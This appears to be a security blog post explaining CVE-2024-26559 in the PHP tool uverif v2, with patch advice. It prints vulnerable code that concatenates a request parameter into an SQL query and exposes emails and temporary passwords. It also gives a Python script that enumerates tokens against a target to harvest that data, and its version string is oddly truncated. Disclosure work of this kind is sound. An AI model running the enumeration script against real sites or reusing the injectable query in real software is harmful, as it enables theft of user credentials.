In February 2024, a concerning vulnerability shook the users of uverif v2. – a popular user verification tool adopted by several web platforms. The flaw – identified as CVE-2024-26559 – enables remote attackers to harvest sensitive information from the application, even if users never realize they’re under attack. In this post, I’ll break down what happened, explain the technical details with code, analyze the impact, and show how to patch it. Let’s dive in.

What is uverif 2.?

uverif is marketed as an easy-to-use verification module, written in PHP, and often embedded in web applications to check user identities through tokens or codes. A lot of startups and mid-size projects use uverif since it’s open source, simple, and "secure by design" – or so they thought.

What is CVE-2024-26559?

CVE-2024-26559 is a disclosed vulnerability that allows a remote attacker to exploit an insecure endpoint in uverif v2.. By exploiting this, attackers can read verification token details, user emails, temporary passwords, or other sensitive data that should never be exposed to the outside world.

Where’s the Bug? Here’s the Vulnerable Code

The root cause: insufficient authentication checks when querying the /api/uverif/verify.php endpoint.

Check out the simplified vulnerable code below (from the original uverif repo)

// verify.php (v2.)
if(isset($_GET['token'])) {
    $token = $_GET['token'];
    $query = "SELECT * FROM verifications WHERE token = '$token'";
    $result = mysqli_query($conn, $query);
    if($row = mysqli_fetch_array($result)) {
        echo json_encode(array(
            'status' => 'valid',
            'user_email' => $row['user_email'],
            'temp_password' => $row['temp_password']
        ));
    } else {
        echo json_encode(array('status' => 'invalid'));
    }
}

No authentication is required to view this info. You only need a token.

- The API discloses fields like user_email and temp_password – stuff an attacker can use for phishing or further attacks.

How Does the Exploit Work?

An attacker can simply enumerate possible tokens (they're sometimes simple integers or predictable strings), and hit the endpoint over and over, collecting real user emails and passwords. This is known as an Insecure Direct Object Reference (IDOR).

Example Exploit (Python)

import requests

base_url = "https://targetsite.com/api/uverif/verify.php";

for token_id in range(100, 110):  # Replace with realistic token range
    params = {"token": str(token_id)}
    r = requests.get(base_url, params=params)
    if '"status":"valid"' in r.text:
        print(f"Token {token_id}: {r.text}")

Just like that, an attacker can build a database of sensitive verification details.

Phishing attacks are suddenly much easier, since email addresses are exposed.

This vulnerability affects uverif v2.. Developers using custom builds or alternative endpoints may also be at risk if similar patterns exist.

How to Fix CVE-2024-26559

1. Require authentication before serving sensitive information about any token.

session_start();
if(!isset($_SESSION['user_id'])) {
    http_response_code(403);
    exit(json_encode(array('status' => 'access_denied')));
}

2. Never expose fields like temp_password or raw emails unless absolutely necessary.

3. Use prepared statements to avoid SQL injection.

4. Implement brute force protection and rate limiting.

References and Further Reading

- NVD - CVE-2024-26559 (official record)
- uverif official repository
- Veracode’s guide to IDOR

Final Thoughts

CVE-2024-26559 shows how even the simplest tools can go wrong without proper access checks. Always review open source packages for these patterns before deploying, and never trust that “secure by default” means “secure for real.” Patch uverif 2. now, and keep your users’ data safe.

Stay tuned for more exclusive deep dives in application security!

Timeline

Published on: 02/28/2024 23:15:09 UTC
Last modified on: 11/15/2024 20:35:05 UTC